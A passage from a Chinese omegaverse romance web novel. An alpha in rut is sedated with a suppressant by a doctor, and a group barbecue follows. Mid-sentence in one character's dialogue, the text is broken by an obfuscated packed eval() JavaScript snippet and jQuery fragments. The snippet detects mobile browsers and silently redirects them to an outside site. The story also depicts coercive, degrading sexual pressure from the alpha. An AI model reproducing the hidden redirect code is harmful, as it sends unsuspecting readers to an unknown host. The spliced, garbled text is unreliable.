这些年的每一个易感期,花云敛都是靠抑制剂度过的,导致他对寻常抑制剂有了一定耐药性。


    维持效果又短,恢复速度又慢。


    倒是有不少漂亮omega主动投怀送抱,想尽办法释放求爱信息素来勾引他。


    奈何花云敛天生就是少爷脾气。


    对自己苛刻,对别人更甚。


    恨不得呼吸一下,都让对方猜一猜他现在在想什么。


    只要盯着omega含羞带怯的脸,就能立刻脑补到对方看见自己兽形时惊恐的样子。


    一定屁滚尿流落荒而逃。


    说什么喜欢他、爱他,全都是假的。


    花云敛不对任何人抱有期待,陈望除外。


    他对他有太多太多期望。


    浑身上下宛如浸泡在□□中煎熬,蚀骨销魂,无处可解,恍惚间他听见了陈望的声音:“哥……”


    “……陈望哥?”琥珀色的眼微微亮起来,像一杯特调的高度数鸡尾酒。


    他实在不敢置信。


    玩疯了的陈望居然会主动来找他。


    这就说明陈望早就注意到了自己不舒服,甚至比花云敛自己预判得更早!


    ……他这么关心自己?


    强烈的欣喜让花云敛情绪更加激动,又声音嘶哑地呼唤了他几遍。


    此时的陈望,俊脸羞红的死死盯着他手里的内裤,自己的宝贝背包也让花云敛压在身下:“有没有听我说话?一个劲叫我做什么?”


    他干脆两步跨上前,劈手夺走!


    陈望本身力气就大,发现花云敛居然跟他角力,更加用尽全力使劲扯,花云敛呲溜一下让他拖到床尾,也不松手。


    刺啦——


    清脆的布料撕裂声,内裤扯豁了个大口子。


    迅速分成了两片,一人一半刚刚好。


    陈望累得气喘吁吁,抬手举起可怜的那点布料:“!?”


    他气得想骂人!


    易感期的alpha与平时的状态不太相同。


    临床表现为筑巢、暴躁、攻击性强、情绪不稳定或黏人。


    幸好花云敛现在没有四处攻击人,只是腻腻歪歪盯着他傻笑,不停叫他名字,情况不算太糟。


    陈望在地上捡到了他背包里的漏网之鱼。


    一个常备的小药包。


    这是他当医生的小职业病,会准备一个巴掌大的小包随身携带。


    里面装满应急药品。


    花云敛喜欢陈望身上的味道。


    清爽干净的洗衣液味,混着阳光温暖干爽的气息。


    他像是喝醉了酒,迷迷糊糊,他听见陈望忽然放缓的声线:“花云敛,不要乱滚,乖乖躺好。”


    长大后,对方从没用这样的语气对他讲过话。


    花云敛微微一滞,本就快要爆炸的某处更加肿胀难忍。


    他呼吸都急促起来,故意没动,果然,对方又说:“听话,躺好,我来帮你,很快就不难受了。”


    花云敛眯起眼,翻了个身。


    这人总算有了被包养的自觉吗?


    知道应该主动服务他了?


    除了生物繁衍的本能感官外,其他五感都被减弱。


    花云敛只模模糊糊看见一个瘦削高挑的身影朝自己走来。


    细腰,长腿,气质禁欲冷淡。


    怎么看怎么像一把无情无爱的冷兵器。


    花云敛忽地想,陈望哥会吗?


    ——这种事当然应该他主动。


    大马士革玫瑰香激荡飘忽,一阵阵冲击着陈望的神经。


    只见靠在床头双目猩红的男人突然起身勾住他的腰,像蛰伏已久的野兽决定发难,陈望顿时重心失控,摔进他怀里。


    与此同时,一针抑制剂早已扎进花云敛的腺体。


    药液迅速推入。


    花云敛不可置信闷哼一声:“你——”


    五分钟后,花小少爷长腿一翘,冷着脸靠坐在露营椅上,方圆三米内都是他冷森森的气场。


    抑制剂起效了,他现在无欲无求。


    不远处,是一片准备晚餐BBQ的欢声笑语。


    这段时间他实在给了陈望太多脸,在他需要做的时候,陈望居然敢对他用抑制剂。


    花云敛不悦瞥去,视线如刀。


    那人好像压根就不在乎他生气与否,气场淡淡的冷冷的,又能和身边的人打成一团。


    花云敛隐约体会到了陈望的处事风格——


    他这个人不需要太多感情。


    只需要在外人面前冷静得体。


    一尾肥鱼啪叽拍在木头案板上。


    陈望手起刀落,刮鳞刀窸窸窣窣开始清理鱼鳞,反手开膛破肚,没多久就收拾得干干净净。


    “哇,不愧是医生。”


    花氏集团总裁办的职员忍不住夸奖。


    “切鱼都像做手术一样精细!”


    陈望笑了笑:“你这样说,还怪瘆人的。”


    他利索的开始腌制鱼肉,不同口味的酱料和小菜搅拌均匀,洗了洗手又去帮忙烤串,几件事同时做也能忙得过来。


    一看就是从小干过活,才会如此干脆。


    花云敛瞧见他手下的职员,年纪也老大不小,居然直不楞登的把整棵金针菇丢进水里冲,嫌弃地皱了皱眉。


    陈望余光瞥见立刻接手:“给我。”


    冷白修长的双手,因为沾了冷水,青色血管脉络更清晰。


    他很有耐心地切掉根部,长指将其慢慢掰开,洗净。


    职员不好意思地挠头笑了。


    “抱歉哈,我在家从没干过活……”


    “陈医生真利索,像我妈妈一样。”


    花云敛不咸不淡冷嗤一声:“不要脸的东西。”


    视线落在陈望侧脸上,细细描摹他的额头、鼻梁,又辗转到唇瓣,目光仿佛化作实质,将他细细抚摸一遍。


    心底也默念了一遍那个不要脸的词。


    ——妈妈。


    “花总,你饿了吗?”


    曼妥嘉忽然自带小板凳,凑到他身边坐下,殷勤地奉上一盘小蛋糕。


    “尝尝这个吧,这是我亲手——”


    花云敛冷笑:“做的?”


    曼妥嘉还不至于智力低下到拿自助甜品说谎,默默道:“……夹的。”


    他顺着花云敛的视线看去,就看见忙忙碌碌的陈望,心里顿时不爽快起来。


    “可显着他了,又不是来比赛当小厨娘的,这么能耐怎么不改行当厨子,反而当医生呀?”


    “陈望做饭肯定不好吃,就是为了博人眼球,白天还偷穿花总您的衣服呢!”


    花云敛对他的评价不置可否,压根没有维护陈望的意思。


    曼妥嘉见有机可乘,变本加厉道:“他就是个虚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029820|162295||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    荣心作祟的显眼——”


    话音未落,一阵烤鱼飘香而来,曼妥嘉莫名其妙擦了一下嘴开始整理形象。


    陈望端着两盘烤鱼走来:“里面下毒了,谁敢吃?”


    曼妥嘉举手:“我敢,我敢!”


    花云敛没有晚上吃饭的习惯,对食物不屑一顾。没表情的时候,那张俊美深邃的混血面孔有些阴沉,和花豹形态的臭脸神色极其相似。


    “……我不吃。”


    陈望盯着他看了一会儿。


    毫无缘由的回想起了自己在贫民窟动物园做兼职的时光。


    他没什么兴趣哄任性的小孩,本打算走,又补充说:“还是吃点吧。”


    曼妥嘉一边往嘴里猛塞一边说难吃,花云敛这时勉强拿起了筷子。


    曼妥嘉大骂陈望捉了这么多鱼肯定是因为作弊,花云敛才挑三拣四地夹了一块送入口中:“这是他亲手捉的?”


    曼妥嘉正要问花云敛的鱼吃不完能不能给他,忽然脸色一变,开始捶胸顿足。


    omega脸色迅速涨红:“咳……!我、咳咳……!”


    有人注意到这边的动静,惊慌大喊:“啊呀,这是鱼刺卡住了!赶紧送医院!”


    陈望赶紧撂下食物跑过来。


    “他卡住了。”花云敛好整以暇吃了一口鱼肉,像在五星级餐厅用餐般从容,“卡死挺好,上次还为难你呢。”


    曼妥嘉的嗓子就是他的命,还专门上了保险的,一想到歌手生涯要毁了,他呜呜哭起来,越咽越痛。


    他一闹,花云敛脾气直线飙升,毫不留情沉下脸。


    “哭什么?赶紧滚。”


    “不要吵。”陈望格外冷静,掰过曼妥嘉的下巴,“张嘴,张大——”


    面对这种小问题,陈望态度轻松但不轻慢,自带安全感,围观众人包括曼妥嘉本人,很快被安抚下来。


    一根鱼刺轻松取出。


    曼妥嘉惊魂未定瞪着他,面对情敌不知该作何反应。


    半晌,含泪呜咽了一声:“……谢谢。”


    这烦人精嗓子没毁,花云敛不知为何,心情一阵躁郁憋闷,尤其看陈望照顾谁都面面俱到的样子,更觉得肝郁。


    饭后散场,几个小经理恭敬邀请花云敛去泡温泉,果不其然得到了他的冷漠拒绝。


    陈望负责收拾一部分垃圾。


    玩到现在他也有些累了,迅速装了两个小桶,打算之后也去泡个温泉再睡觉。


    一只脚忽然轻轻搭在垃圾桶边缘上。


    稍微一动,刚整理好的垃圾全部撒了出来。


    陈望拧眉看去,果不其然对上花云敛不悦的脸:“你又干什么?”


    “抑制剂快失效了。”他说。


    陈望无奈道:“等下我再给你打。”


    “哥,你是不是误会了什么?”花云敛靠近,高大结实的身躯罩住他,信息素又波动起来,居高临下的模样很是瘆人,“你是我的玩物,我泄/欲的工具,而不是家庭医生。”


    陈望张了张嘴,没想到反驳的话。


    不远处还有同事,即便从他们的角度看不出他在和花云敛呛声,时间久了也难免惹人怀疑。


    陈望面色有点难堪:“我收拾完回去说……”


    瘦削下颚让人一把掐住,强迫他抬起脸,直视那双压抑着欲望的琥珀眼眸。


    “还是说,你现在还是个处?”